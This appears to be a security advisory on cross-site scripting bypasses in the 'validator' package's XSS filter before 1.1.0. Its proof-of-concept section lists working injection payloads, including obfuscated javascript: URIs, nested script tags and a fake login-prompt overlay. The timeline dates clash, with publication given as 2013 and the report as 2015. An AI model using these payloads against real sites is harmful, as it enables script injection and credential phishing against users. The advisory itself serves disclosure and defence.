Necessarily Precedes Mischief
Severity: critical

Multiple XSS Filter Bypasses



Versions of validator prior to 1.1.0 are affected by several cross-site scripting vulnerabilities due to bypasses discovered in the denylist-based filter.

Proof of Concept

Various inputs that could bypass the filter were discovered:

Improper parsing of nested tags:

<s <onmouseover="alert(1)"> <;s onmouseover="alert(1)">This is a test</s>

Incomplete filtering of javascript: URIs:

<a href="javascriptJ a V a S c R iPt::alert(1)" "<s>">test</a>

UI Redressing:

<div style="z-index: 9999999; background-color: green; width: 100%; height: 100%">
<h1>You have won</h1>Please click the link and enter your login details:
<a href=""></a>

Bypass via Nested Forbidden Strings:

<scrRedirecRedirect 302t 302ipt type="text/javascript">prompt(1);</scrRedirecRedirect 302t 302ipt>

Additional bypasses were discovered by Krzysztof Kotowicz in 2012 when auditing CodeIgniter's XSS filtering function, which this code was based off of.


If you are a developer currently using the xss filter function from the validator package, you should consider replacing it with the escape filter function from the same package. This function replaces all instances of angle brackets (<, >), ampersands, and quotation marks, so no HTML tags will be processed.

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Advisory timeline

  1. published

    Advisory published
    Jul 5th, 2013
  2. reported

    Initial report by Neal Poole, Krzysztof Kotowicz
    Oct 17th, 2015